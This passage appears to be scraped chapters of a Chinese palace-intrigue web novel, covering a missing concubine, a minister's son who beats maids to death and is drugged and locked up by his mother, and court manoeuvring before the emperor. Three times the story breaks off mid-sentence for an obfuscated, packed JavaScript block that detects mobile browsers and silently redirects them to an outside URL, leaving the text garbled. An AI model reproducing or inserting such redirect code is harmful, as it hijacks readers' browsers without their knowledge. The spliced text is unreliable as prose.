“殿下自幼聪慧，就算真碰上了也未必会吃亏，”郑嬷嬷回想与那位嫡长女不多的接触，疑惑道，“但婢子想不明白，若那位真是个心思深沉的，怎会找上咱们府呢？平京城谁人不知，自打先瑞王过世，咱们瑞王府便就只剩个空架子，但凡是个有野心的，也断不会将宝押注在咱们头上。” 司空青蓝默然，虽说自家儿子一直在她面前言明是自己对人家有情，对方却并无此意，几次的接触中确实也没看出那嫡长女对兆儿有什么想法念头，可她内心却总是有个十分荒唐的直觉——不对劲，像是有什么重要的东西被忽略了。 － 逸云坊，康平王府。 阮郎中匆忙进府，直奔书房。 几日前司空朔奉诏入宫，得了一顿敲打，除此之外倒也不是全无收获，回府后他细细咀嚼听来的每个字，突然就教他从中品出了些字面下的意味来。 即便某个猜测显得十分荒唐，却也未必不是真相，否则他日理万机的好父皇，怎会特意因他府上少了个妾室或者护卫统领，就将他召入宫中，闲话几句难道只为展示作为帝王的万事在握？ 无用功，除非是真过得太清闲了。 “殿下，探子来报，说有那个‘慧灵’的消息了！” 司空朔站在桌案前写字静心，下笔时并不被阮郎中的话语影响，一幅字写得行云流水，“只是有消息？” 阮郎中被噎得停顿片刻，这才组织语言道：“出事那日‘慧灵’便已出城，城门口的探子看到他往北走了，且没有刻意隐匿行踪，这几日在沿途都有短暂歇脚，看样子是要一路去往塞外。草民已经派人快马截停，相信不日就会将人带回。” “三花坊那边怎样了？” “正要说这个，”言罢阮郎中自袖中摸出一枚拿绢布裹着的金钗，“烦请殿下仔细辨认，此物可是如姨娘的贴身物件？” 司空朔搁下笔，从桌案绕出来，其实无需仔细瞧他就知道，不单是，且是她失踪那日他亲手戴在她头上的那支。 司空朔没接，视线重新落在阮郎中脸上，示意他继续说。 “回殿下，此钗被当日一个进山的乞儿拾得，过后卖到当铺，那乞儿骨头贱，没用怎么逼问便和盘托出，说他那日进山欲到普渡寺讨口饭吃，却在距离庙门不远的地方撞见有人截停如姨娘的马车，几个随从被当场斩杀，如姨娘中了迷药被其带回寺中，颠簸中金钗掉落，教他捡了个漏。” 司空朔脸色阴沉。 “草民听那乞儿描述，与寺中人对和尚‘慧灵’的印象颇为相似，”阮郎中观察司空朔的神情，小心道，“寺中的犄角旮旯都已搜索几遍，若如姨娘始终未曾下山，普渡寺却根本寻不见人，那么……” 其实这事按照常理，就是把普渡寺整个挖了，结果也还是那么个结果，这么多天过去，依着如姨娘的性子，但凡腿脚尚在，早该不管不顾自己回府乞求庇护，怎会音信全无？到现在活不见人死不见尸，山中又偶有野兽出没，八成可能是被啃得骨头都不剩了。 “你的意思，是人已经死了。” 阮郎中连忙告罪，“殿下，如姨娘孤身一人落入歹人之手，若此人是冲着殿下而来，为何这么多天都未曾收到丝毫风声？并非草民托大，推衍之术虽不精通，但简单逻辑或可演算一二，那‘慧灵’绑了如姨娘，一不向殿下索要赎金，二不找殿下提要求，人反倒大摇大摆离开去往塞外，如姨娘下场如何，可想而知啊！” “绑了人就离开，说明他不过就是其中的某个小喽啰，只是一件万无一失之事上的一环而已，且必定知晓就算事情败露，也有人能保他全身而退，”司空朔突然问道，“可知当日寺中除了僧人还有谁在？” 阮郎中想了想，那天他并未跟随在侧，只好试探性说：“南阳侯刘禛？” “不对，”司空朔垂眸细思，并不希冀从他人口中得到答案，自顾自道，“刘禛是被府中护卫送下山的，期间根本没机会离开重新上山，当时山上必定还有第三人在，会是谁呢？” 司空朔倏然看向阮郎中，后者莫名，有心问上一句，却是不敢轻易言语，“殿下？” “阮先生，你曾保证过水玉楼‘万无一失’，可就在上元节，里面死了三个人。” 阮郎中不明所以，他略懂些奇门之术，按着司空朔的意思调整过水玉楼的格局以确保此处顺风顺水，所谓“万无一失”自是有些夸大的成分存在，但也不是全无用处。这些年酒楼的确生意兴隆，他从未因此获得任何好处，今时不幸出了命案，却要将死的那三个人算他头上，这种帽子断不是这样扣的。 阮郎中小心组织词句，意图将问题抛回去，“殿下，那三人的死到底是何人所为，大理寺和刑部至今尚无定论。姜家以死者为大的理由先将人入土为安，还是四殿下帮忙从中斡旋，四殿下因母妃的关系与姜家的来往都摆在明面上，连带着与祝家也算是沾亲带故，祝家人一死，四殿下失去臂膀，可是以此为由来找殿下的麻烦了？不对，水玉楼的东家中间倒了好几手，四殿下消息再灵通，也不至于一下子就查到殿下您这里。殿下……” 司空朔却不听他继续往下说，掌心向下压了压，“父皇那日敲打我时，曾特意将如意与王纯涣提到一起，当时不觉得，过后回想起来，也许父皇是在提醒我，他二人都算是八年前那件事的当事人，却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443190|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个生死不知一个死因蹊跷——袁家人早就死绝了，隔了这么多年，还有谁会那么执着想要报仇？” 阮郎中斟酌道：“也许是镇国公从前的同僚门生……” “不对！” 司空朔情绪骤然激动起来，他仿佛一瞬间窥见天光，可又在下一瞬再次陷入混沌。 到底是谁？谁会为了个袁家蛰伏八年，又为何蛰伏八年？为何偏偏是八年？ － 外头谣言甚嚣尘上，薛尚书府中安安静静，小厮丫鬟一如往常各司其职，只是在路过水天居时脚步更轻且匆匆，头垂得愈发低。 院内，明秋站在石桌前欲言又止，袁彦与韵采相对而坐，各执黑白子，正在对弈。 韵采好似苍蝇搓手，“上一次我还能看出些套路来，想不到才不过一月而已，姑娘的棋艺就又更上一层楼了，我这臭棋篓子往后可要再加把劲了！” 袁彦笑着不说话，落下一子，胜负已定。 “不玩了不玩了，今日十下九输，勉强嬴的一次还是承蒙姑娘有意放水，我被打击到了，非得喝一坛窖里的桂花酿方能抚慰我心！” 袁彦一颗一颗耐心收棋子，闻言摆手道：“就知道你嘴馋，自去取来。” 韵采嘿了声，站起身要走，却对上明秋投过来的视线，面上笑容一凝，便重新坐了回去。 “今日这妆上得有些急了，若是个心细的，怕是多瞧几眼就能看出破绽，”袁彦依旧在收棋，视线也未曾放在明秋脸上，“这般不沉稳，若实在不愿去郭家，便就此作罢？” 明秋双膝一软，实实在在跪了下去。 袁彦将棋盒摆放整齐，手指在石桌上轻叩几下，问她，“那位苏姓妆娘现在何处？” 明秋轻声答：“安置在西厢房。” 袁彦笑了笑，韵采掰动十指，骨节咔啦作响，起身抬脚欲走向明秋。 明秋心中一紧，想也不想连连磕头，“姑娘恕罪，姑娘恕罪，那位苏妆娘被奴婢囚在了柴房，饿了三顿饭，此刻……此刻应是昏迷过去了。” “你若是个中用的，今日就拿出能让我满意的东西来，”袁彦转头垂眼看去，“给你的办法你不愿意用，可以，我喜欢自己有想法的人，昨日你也确实赢了个漂亮开场，为防意外，我将苏妆娘买来给你，你却自以为是——是不是觉得整件事只需你自己一人便可完成？” 韵采得了授意，过去一把将人抓起，“快别顶着这张脸磕了，若非还有那么一二的分相像，我早跟你动手了！” 明秋头垂得低低的，像是生怕被看去了什么，急急忙忙下保证，“姑娘恕罪，是奴婢不知好歹，奴婢心比天高，恳请姑娘再给奴婢一次机会，往后只要姑娘吩咐奴婢做什么，奴婢必定绝无二话——若违此誓，但教奴婢不得好死！” “记住你方才的话，”袁彦起身往回走，又停下来，侧身看她一眼，“外面的事不必理会，你只管上好妆容，等着便是。” 明秋恭恭敬敬行礼，“是，奴婢记下了。” 35. 第 35 章 崔氏的心吊了一整日，直到日头西垂，人才稍稍安定下来。 “老爷还未归？” 贴身伺候的赵婆婆给崔氏添了菜，轻轻推到她面前，“是啊，老爷着人稍话，说今日又要在府衙忙到半夜，教夫人您顾好自己呢！” 崔氏微微叹了口气，举箸欲食，却是半晌都没夹上来一粒米。 赵婆婆担忧道：“夫人有心事？” 崔氏回过神，不着痕迹顺势夹了一筷子青菜放进嘴里慢慢嚼，“许是昨日多吃了几口点心生了热气，这会没什么胃口。” “那待会奴婢让小厨房煮些下火的茶汤来？” 崔氏心不在焉，缓缓点头。 “夫人！”院中丫鬟匆匆而来，站在门口高声唤。 崔氏心头巨震，撂下筷子站起身，本想不露声色，奈何还是被一阵私自上涌的火气占领理智，开口时惊怒并发，“吵吵嚷嚷像什么话？我平日就是这么教你们的？没规矩！” 丫鬟脸色大变，慌慌张张跪下去，“夫人息怒，夫人恕罪，奴婢知错了，请夫人责罚，千万不要赶奴婢走！” 赵婆婆也跟着跪下来，“都怪奴婢管教不周，惹得夫人心中不快，底下的人没学好规矩是奴婢失职，夫人放心，奴婢今后必会严加管教，还请夫人莫动怒，当心气坏了身子！” 崔氏此时方才反应过来自己的失态，她闭眼深深呼吸几次，待那股气平息，忍着急躁重新坐回去，摆手道：“都起来吧。” 赵婆婆忙拉着小丫鬟应了声，起身站在一边。 “什么事？” 丫鬟这回学乖了，闻言先是弯腰见礼，而后才慢声细语地说：“夫人，是二少爷的知行斋那边来人说，有事想让夫人过去一趟。” 崔氏只觉头脑一沉，这瞬间她已想到千百种可能性，甚至连“要不就狠狠心让人拿棍子将他打一顿，最好在榻上卧个七日八日动弹不得”这种念头都生出来了。 好容易压下去的怒气再一次伺机而动，崔氏的声音都变了，“这事为何不早说？说话做事都慢人一拍，你来府里多久了？是怎么到我这院中来的？平日里到底是怎么学的？” 丫鬟吓傻了，呆立当场根本不知该怎么回。 崔氏根本也没打算再听她辩解，说话时便已几步过去将人推开，赵婆婆有心想要跟过去，崔氏却好似背后长了眼睛，撂下一句“谁都不准跟来”，便火急火燎往知行斋而去。 丫鬟心中委屈，想要同赵婆婆解释一番，“婆婆，方才就是因为知行斋那边的吴二哥说此事十分紧急，我才一路跑过来想要告知夫人，可是……” 赵婆婆是崔氏出嫁时从娘家带过来的陪嫁，这些年一直跟在崔氏身边照看，极得崔氏信任，自郭老夫人念佛放权、崔氏执掌府里中馈起，赵婆婆就也跟着水涨船高，府中下人一应大小事务，都归了她管。好在赵婆婆心善，同时又是个懂得驭人之道的妙人，因此在所有下人之中颇有威望。 “夫人今日心情不佳，情绪反复再正常不过，等会你去厨房煮些下火的茶水来，明日的饭食再加上一道清热下火的药膳，”赵婆婆边想边温声吩咐，“小环，你来府中时间不长，一定要多看多做少说少错，像刚才那种情况，事情就算再紧急，在主人面前都不能失态，同时还要兼顾不可误事，否则往小了说是咱们为奴为婢的不自知身份，可要往大了说，便是咱们家老爷夫人治家不严了！” 丫鬟小环硬生生将眼泪憋了回去，眼眶红红地看着赵婆婆，感激道：“小环知道了，婆婆放心，小环往后定然不会再犯今日的错！” 赵婆婆拍了拍小环肩膀，“快去准备吧，小事争取件件不出错，就是大事了。” － 尚未走近知行斋，崔氏就已经听见了儿子院中的凄惨叫声。幸好她今日提前做了安排，严令知行斋附近出现任何奴婢小厮，否则不出三日，整个平京城怕是都要知道礼部郭尚书治家不严，纵子行凶，内宅鸡飞狗跳了。 有小厮焦急站在门口不住张望，终于望见主母身影，赶紧急急忙忙跑过去，满头大汗道：“夫人快去瞧瞧吧，二公子不知为何，已经接连打死院中两个婢女了！” 崔氏眼前一黑，却心知此刻还不是晕过去的时候，死抓着小厮的手臂，沉声问道：“如何处理的？” 小厮忍着剧痛，咬牙回答：“回夫人，小的已经将人埋到了后院的老树下，夫人放心，不会有人发现的！” 崔氏放下心来，“做得不错，这个月的工钱翻一番。” 小厮立时眉开眼笑，“谢夫人！” 行至近前，一门之隔，惨叫声更加清晰，崔氏稳了稳心神，低声吩咐几句后，小厮独自离开，她伸手推开院门。 “公子，公子别打了，求求你……”丫鬟浑身是血，沾了血的发髻散乱，一绺一绺黏在脸上，“公子……”院门打开的瞬间，丫鬟又胸口又挨了重重一下，呕出一大口血。 “夫人……夫人救命……”倒下之际，丫鬟突然看见来人身影，挣扎着伸长手臂好似要去抓住那一棵救命稻草，可生命也在那一刻迅速流失，直至静止。 郭文尧双眼通红，整个人戾气外放，却在看见崔氏的那一瞬间，恍惚不知所措起来。 “母亲……” 崔氏使劲攥拳，镇定往里面走，到郭文尧面前站定，温声询问：“尧儿……是不是身上什么地方不舒服？” 郭文尧哭了起来。 “母亲，心口疼，手，手也疼，他们都不让儿子出门，都拦着儿子，”他指了指自己，目光四处乱窜，却蓦地脸色大变，眼底阴鸷翻涌，“他们为何如此不经打？为何死得这样容易？给我起来，起来！” “尧儿！”崔氏心中惊惧交加，却还是一把将人抱住，如他幼时那般轻哄，“尧儿莫急，他们，他们只是暂时晕过去，并非死了，尧儿打了这么久是不是累了？母亲扶你去屋中坐下休息片刻可好？是不是也许久没喝水了，口渴不渴？喝点吧，母亲瞧着你唇色有些淡，喝点温水润一润？” 崔氏的声音不疾不徐，听在郭文尧的耳中有着极大的安抚作用，他好像果真是累了，更感到口渴，非常渴，喉咙仿佛突然就干涸起来，似火燎原，烧得他连句话都说不出来。 崔氏连拖带拽外加诱哄，总算把人给弄回了房间。 院中除了躺在地上毫无生气的婢女，其他人还哆哆嗦嗦跪在院墙处不敢动，只是此刻他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443191|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中倒没那么大怕了，片刻前还在等死，片刻后终于死里逃生。 之前的小厮去而复返，身后跟着几个身强力壮的家丁，肩膀上分别扛着不少木材与铁锤，陆陆续续悄然走进来。 崔氏脸上的慈爱与心疼不似假装，余光看见家丁时却也着实在心中松了口气，她不动声色挡住郭文尧的视线，同时手伸进腰间，取出白日里早早去药房买来的药包，偷偷倒进了茶壶。 “尧儿，再多喝几口，”崔氏又在杯中倒满温热白水，“出了那么多汗，一定要多补一些回来，不然明日睡醒，少不得要喉咙肿痛。” 郭文尧精神状态堪忧，口干舌燥，端起杯子一饮而尽。 崔氏悬着的心总算放下来。 静等几息，郭文尧双眼倏然眯起，开口却只来得及叫一声“母亲”，人便倒在了桌上。 崔氏猛地起身将那几人叫进来，家丁早在来的路上就得了吩咐，于是没有半句废话，各司其职，两人抬着郭文尧到榻上，两人拿绳子将其捆扎得严严实实，另有几人已经开始在门窗上敲敲打打，没一会的工夫，一座简易牢笼便做成了。 崔氏站在屋门前，视线依次从门窗划过，胸口钝痛一阵一阵袭来，她想不通，自己这个各方面都几近优秀、自小就从未让她操心过的儿子到底是怎么变成现在这副样子的。 “夫人，这样下去终究不是长久之计，也许明日二公子就能拆了房子跑出来，为了防止事情变得更坏，还是得尽早做打算啊！”吴姓小厮平日并不在知行斋伺候，他是今日才被崔氏从前院调过来的，大小也算是个头头，还是在尚书大人面前露过脸的，因此在主母面前他才没有露怯。 崔氏一时也想不到什么别的法子，“走一步看一步吧，你今夜便在此值守，还是那句话，任何风吹草动，都要第一时间告知我。” 吴小厮忙不迭点头。 “放心，这事办漂亮了，赏钱不会少了你的。” 吴小厮受宠若惊，腰弓成了一个大大弧形，“夫人这是哪里话，为主家分忧是小的分内事！” “三个姨娘那边？” “姨娘们今日是有差人过来旁敲侧击打听过，都被小的遮掩过去了，几位小少爷还有小姐都在外院的学堂读书未归，也不会生出什么事端，只是方才的动静实在太大，保不齐会被听去一些，夫人还需早些备好理由。” 崔氏心中早有成算，不过听着这位吴姓小厮的言语，心中倒也生出几分欣赏来，“做得不错，等这阵事情过去，我会让赵婆婆重新给你找个位置做事。叫什么名字？” 吴小厮忙跪下谢恩，“回夫人，小的吴鸣，口天吴，一鸣惊人的鸣。” 崔氏听过就算，此时已是筋疲力尽，又望了望这座被封起来的屋子，转身离开——并未注意到那跪在地上的吴鸣抬起头时，饶有深意的一眼。 回到主院，赵婆婆赶忙提着灯笼紧走几步迎上去，“夫人，泻火的茶就在炉子上煨着，奴婢现在就给您端过来？” “不忙，”崔氏一路回来，并未刻意压制怒意，及至见到赵婆婆，像是得到了某种依赖，那股气便愈发横冲直撞，“去，准备拜帖送去薛尚书府上，我明日便去拜会！” 36. 第 36 章 一大早，妫氏尚在用早饭，周管家便拿了拜帖过来，“夫人，这是礼部尚书郭大人家刚刚差人递来的，应是有什么急事，郭夫人说她晌午就到。” 昨日市井闹得沸沸扬扬的事情妫氏当然已经知晓，她自认并非是个蠢笨的，结合这几日她与那嫡长女的共同谋划，不难猜出放出这种消息的人定是他薛崇贵的好女儿！ 此事妫氏并未提前得到知会，否则就算是拼着礼儿成人前再也不见，她也断不会答应！ 妫氏倏然起身向外走，翠语连忙跟过去，“夫人，饭菜才刚上完，您这是要去哪？” 妫氏不语，目的明确往水天居的方向去。 未及近前，便看见那韵采站在院门口张望，仿佛正等着她，妫氏心中一阵惊悚，退堂鼓砰砰作响，可那婢女已经往这边迎来，妫氏无奈，只得硬起头皮耐住性子，挤出个和蔼笑容，一路被引着踏进院门。 袁彦坐在小桥流水后的亭中喝消食茶，这几日回暖，小做推演，后面应还有几次霜雪，便吩咐没有收起厚衣裳，就算今日晴空万里，能够明显感到热意，身上也依旧披着狐裘。 妫氏倒是早早除了厚衣，换上浅色单薄的春衫。 袁彦起身见礼，“母亲用过早饭了？” “哪里还吃得下去？”妫氏开口就是抱怨，又及时打住后面的话，转而堆着笑容问，“阿灵，外头的传言，是真是假？到底是怎么回事？” 袁彦看了眼她身上的衣衫，斟了盏茶推过去，自己也端起茶杯轻呷一口，微微叹息，语气无奈，“母亲，先前阿灵着人打听过，郭二公子的性子非常人可比，若碰上寻常人家求娶，阿灵不愿，说清了或可就此作罢，可想让郭二公子死心，单凭一句‘不愿意’恐怕远远不够，阿灵眼下就怕即使出了昨日那档子事，二公子那边仍然不肯放手。” 妫氏得了实话，指甲都要掐进肉里，说出来的话却还要反复斟酌，“女子名节放在什么时候都尤为重要，昨日市井传遍，污言秽语那般不堪，郭大人府上定然在第一时间得到消息，别人不去说，单说那崔氏，就不是个能容人的，事情走到这一步，她还真能坚持求娶不成？” 袁彦不说话，只一味地叹气。 妫氏被她叹得一肚子火就要喷将而出，一忍再忍方勉强压回去，“可……这话又说回来，阿灵，我瞧着你平日最是个明事理的，但昨个的事当真考虑欠妥！你要知道，现在你已经认祖归宗，是薛家人，一荣俱荣的道理你不会不知——” 妫氏实在憋得慌，不过既然开了头，便只想一吐为快，拿主母的态度继续敲打她，“你父亲官至户部尚书，不管在内在外那都得极为要脸面，他的女儿却我行我素败坏自己名声，你自己不觉得这事有什么可丢脸的，可让你父亲在百官面前如何自处？让外头的人如何看待我们薛家？” “现在外面保不齐已经在传，说我们薛家女儿骨子里就浪荡，礼儿在书院怕是亦不好过了！” 袁彦满脸歉意，“此事确是阿灵考虑不周，连累家中跟着一块受人指摘，是阿灵做错了。母亲暂且宽心，晚点父亲散职回府，阿灵便立刻去向父亲请罪，至时父亲要打要骂，或是将阿灵赶出家门，阿灵定不会有任何异议，全凭处置！” 妫氏一颗心蓦然提起——事是昨日出的，若他薛崇贵真是个在意府中名声的，必定昨日散职回来就要过问，可他却好似一无所知，与往常无甚区别，却在今早用饭时行为异常，横挑鼻子竖挑眼，饭后匆匆而去，也不知是着急上职，还是要去做什么。 堂堂户部尚书岂会连市井遍传之事都不清楚？怕是心中早有计较，只不过并未计较到府上两个孩子罢了，思及此，妫氏心中怨怼横生，摆手道：“你这孩子，我说这些也并非那个意思，后宅之事怎好拿到你父亲面前去说，倒显得我这做母亲的不成事，连这点流言蜚语都处理不好！” 袁彦神色仍然郁郁。 妫氏看了她几眼，心中别扭不已——不得不承认，她虽未曾有缘见过薛崇贵那位原配，就说人家生下的女儿，那就不是她的两个孩儿能比的。好在礼儿同渠儿样貌都随了他们爹，薛崇贵看在孩子的面上，也不好过于苛待她。 否则怕是打这嫡长女归家那一日起，她就得将手中本就不多的权柄尽数交出去了。 “郭夫人着人递了拜帖来，晌午就急着要上门。” “母亲可想好了怎样应对？” 妫氏道：“此事即是双方合作互惠互利，出了事，我自然不好躲在后面坐享其成，你放心，不管什么情况，我都能应对，决计不会教你吃了亏去就是了。” 袁彦展颜而笑，“那阿灵就在此，先谢过母亲了。” 妫氏脸色不太好，稍坐了坐，茶杯见底，就起身带着翠语回去了。 袁彦目送其远走，韵采手里拿着刚刚收到的飞鸽传书，“姑娘，薛夫人口口声声府里名声薛大人面子，实际是怕她两个孩子因此受到牵连。” “理应如此。” 韵采面色微冷，“姑娘这个当事人都还没说什么，区区流言蜚语她光听一听就受不了了？当初她暗中让人秘密发卖薛家嫡长女，致使她在外颠沛流离险些丧命，若非辗转南疆遇到我们，估计现在早投胎去了！薛二小姐距离议亲还有几年，她现在就开始迫不及待了，什么府里大人名声颜面，奴婢看，就是她妫氏自己的算盘骤然掀翻着急了而已！” 袁彦默然片刻，视线落到远处，“此事的确委屈了渠儿，日后待时机成熟，再做补偿罢。” 韵采嘀嘀咕咕，不知说了什么，没等袁彦问便转了话题，“对了姑娘，这是前几日你让奴婢打听岳阳侯府的事，有回信了。” 袁彦轻轻摩挲那枚秀珍竹筒，从中倒出纸卷摊开，是文四的蝇头小楷。 待袁彦看完，韵采也凑过来一同看，啧啧道：“难怪那日郭县主那般浑浑噩噩，原来是得知家中为她寻了门好亲事，王妃梦要破灭了。” 袁彦取出火折子将纸条点燃，“岳阳侯是个清醒的，能够及时止损，省得以后把身家都赔进去。” “只怕老的想要保存根基，小的不教他如愿。” 灰烬被风吹得四散，袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443192|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦紧了紧身上的狐裘，淡笑道：“尊重就好。” 韵采想起方才在府里后厨旁听而来的话，笑说：“姑娘，听闻薛大人今早整个人都不太对劲。” 袁彦慢条斯理收拾桌上茶具，随口道：“此刻他应已在宫中。” “就算事前姑娘已同薛大人知会过，奴婢还是担心，万一演成了四不像弄巧成拙该如何是好——光是听着厨房那些人的议论都觉得尴尬做作，宫里可遍地都是千年的狐狸，真能成事？” “不必担心，薛大人演技过人，况且要解决这件事的影响，当然是越夸张越好。” － 宫中，奉天殿内，薛崇贵已是一把鼻涕一把泪，整整哭诉了半个时辰了。 太庆帝眉头紧皱，桌案前的奏折堆得老高，都是还未来得及批阅的，手里的笔搁下小半个时辰再没拿起，一旁的茶凉了又换，却是半口都还没顾上喝。 翎公公攥着浮尘的手愈发紧，欲言又止半晌，就只是再次换了盏热茶。 “皇上，老臣心里难受，有苦难言啊！” “阿灵是老臣的头一个孩儿，如珠如宝没疼几年就教那天杀的人牙子给拐走，这么些年漂泊在外，温饱都成问题，为了活命，定然是再不堪之事都做得，可我那孩儿做得，外人却如何说得？他们凭什么？老臣心里苦哇！” “皇上可要为老臣做主啊，老臣心疼，老臣恨不得当初人牙子拐走的是老臣自己，皇上……” “皇上，且不说市井传言是真是假，就是传出这等事情之人，其用心之险恶，其目的之龌龊，比之传言本身更有过之无不及！” “皇上，我那孩儿性子柔弱，在外受尽欺侮，强撑一条命才能让老臣有幸寻到，老臣捧着宠着不过一年，好不容易才稍稍养回了些闺秀模样，可如今是个人都能上前说她一嘴，好似审判一般，凭什么？凭什么呢？” “左不过那是老臣的家事，万不该拿到皇上面前说，可是老臣心里苦哇……” “……” 太庆帝疲惫地揉了揉眉心。 翎公公觑着主子的眼色，心领神会，几步到了薛崇贵面前，微微躬身，“薛大人，您快坐下吧，刚刚看了新茶，您好歹喝一口，润润嗓子也是好的！” 薛崇贵见好就收，拿出巾帕揩了揩眼泪，又用力拧几下鼻子，这才在翎公公看似镇定的眼神中站起身，坐到一旁的椅子上，端起茶杯呷了口茶，嗯，不愧是宫中专供的茶，就是比他自己的好喝。 “市井上的传言朕亦有所耳闻，”太庆帝终于也能喝上一口茶，沉吟道，“依爱卿之意，想让朕如何处理这件事？” 薛崇贵直接从椅子上滑跪下去，“皇上，这等家中俗事怎好……” “薛爱卿？” 薛崇贵直接磕头下去，“自然是皇上金口玉言，说什么就是什么。” 太庆帝头疼道：“爱卿且回去候着。” 薛崇贵千恩万谢。 太庆帝重新拿起笔批阅奏章，半晌，忽然开口问一旁的翎公公，“不如你来说说，这事该怎么办？” 37. 第 37 章 翎公公是太庆帝身边的老人，往前追溯，好像其幼时便伴随在侧，彼时太庆帝还只是诸多皇子中之一，既没有储君之才，也没有母族给他依靠，翎公公亦经历失恃失怙被卖进宫中不久，二人同在深宫中的某个偏殿，说是报团取暖也不为过。 多年过去，太庆帝身边总添新人，独独翎公公位置不曾有过取代，身份水涨船高，自太庆帝登基起，他就做了司礼监掌印，直到如今。 因此若论对太庆帝的了解，天底下他要说第二，那便无人敢称第一。 方才听此一问，翎公公温声道：“回陛下，薛大人爱女心切，病急乱投医那也是情有可原的。” 太庆帝抬眼看他。 翎公公笑了笑，“陛下，奴才前几日听了一桩民间事，这就说与陛下听听？” 太庆帝放下笔，做洗耳恭听状。 “奴才那日偶然听外出采买的私底下聊天，说京中有两户人家，相互之间原本就有些龃龉，两家各有一儿一女尚未婚配，某天两人却不约而同在一家酒楼饮酒，具体的奴才倒不知怎么个事，只知那喝醉的二人竟被人撞见同宿一榻，急急忙忙赶来的两家人便炸了锅，嫁娶一事竟好似那强买强卖，口水仗打了一场连一场，最后是那位姑娘有了身孕，双方这才暂且休战。” “两家于是就此结亲？”太庆帝问，“之后修整关系，和和美美了？” “陛下莫急，且听奴才往下说，”翎公公微笑，不紧不慢续道，“休战只是暂时的，两家矛盾多年，岂是一朝一夕能消磨掉的？当时瞧热闹之人各执一词，甚至为此押注，两边势均力敌，好不热闹。” “我朝百姓安居乐业，闲暇之余还有这等兴致，实为一桩幸事。” 翎公公赶紧跟着称颂一番，再继续前头的话，“果然结亲后风波不断，公婆不慈媳妇不敬，女方家中更是对夫婿百般刁难。夫妻二人的日子亦是鸡飞狗跳——做丈夫的丢了活计日日宿在醉春楼，做儿媳的在家中称王称霸。公婆苦不堪言，最后中风郁郁而终。两人的孩子倒是坚强，只不过生下来先天残疾，胳膊腿各缺一条，没几日也去了。那儿媳受了不小刺激，给小儿办完丧事，便吞了百来根绣花针紧追而去，女方的家人得知噩耗，竟也在一夜之间突发恶疾，唉……” 太庆帝若有所思。 翎公公不再言语。 半晌后，太庆帝随口又问：“上元节水玉楼的案子还没有结果？” “回陛下，奴才前日路过刑部，没见到侍郎大人，倒是看见了他身边的那位林侍卫，几年前奴才曾和林侍卫有过一茶之缘，便停下多聊了几句——那桩案子的凶手至今未见踪影，犯了一桩案子后就销声匿迹，不过被杀害的三人已经在调查取证后入土为安，据说这事还是四殿下帮忙操办的。” “这事怎么还牵扯到了槃儿？” 翎公公道：“陛下日理万机，些许小事自然不必记得，四殿下的母妃姜氏乃是前户部侍郎姜极姜大人的堂妹，私底下走动多自然是常事，而被杀的那三人又是已故的祝大学士嫡子一家，嫡孙女为大学士守孝三年后嫁给了姜大人的小儿子姜安——为了亲族如此奔走，四殿下实在心善。” 太庆帝冷道：“他倒是闲得慌！” “四殿下年龄尚小，但天资聪颖，也许并未开窍呢！” “等他开窍，怕是这天下都要易主了！”太庆帝扔了折子，面色阴沉，“妇人之仁，看不清形式，一天到晚只顾在后宫斗来斗去，姜氏养的好儿子！” 翎公公轻抚太庆帝背脊，“陛下息怒，要小心龙体啊。” 太庆帝闭上眼，揉着眉心，“费翎，你瞧着那桩案子，有没有觉得熟悉？” 翎公公思索一番，摇头说：“奴才愚钝，奴才斗胆，陛下可是先前就见过相似案宗？” 太庆帝却没了说下去的意思，转而道：“许久没和姑母说过话了，朕倒有些想她了。” “那奴才这就去请瑞太妃进宫？” 太庆帝点点头。 翎公公领命而去。 － 谢兆昨日突发晕厥，今日便又告了假在府中修养，荷风悄然跃进书房，眼尖地瞧见谢兆手中拿着的正是他远赴南疆带回的那本册子，人却好似并未阅读其上文字，而是在发愣一般。 “殿下，目前查到那些谣言起始于南街一间茶寮隔间，两个外乡人闲谈时偶然提起，却教旁人听了去，”荷风道，“但是否是真正源头，还需再次验证。” 谢兆大病初愈，神色有些萎靡，“外乡人抓住了？” 荷风点头，“原本已经出城，被藏锋带人抓回，已经秘密关押在城外的庄子上。” “不管用什么办法，必须撬开他们的嘴。” 荷风扬起嘴角，“殿下放心，藏锋首领的手段，我们都是见识过的，必定教他们只顾乖乖听话，不敢造次！” 谢兆拢了拢身上的狐裘，外头日头高悬，寻常人出去走一圈都免不得要出一身薄汗，他却冬衣加身，暖炉烤腿，却仍在时时冷颤。窦太医号了半天脉，却找不出任何缘由，明明没大事，却又出现此种情形，着实教人费解。 “府里可有别的事发生？” 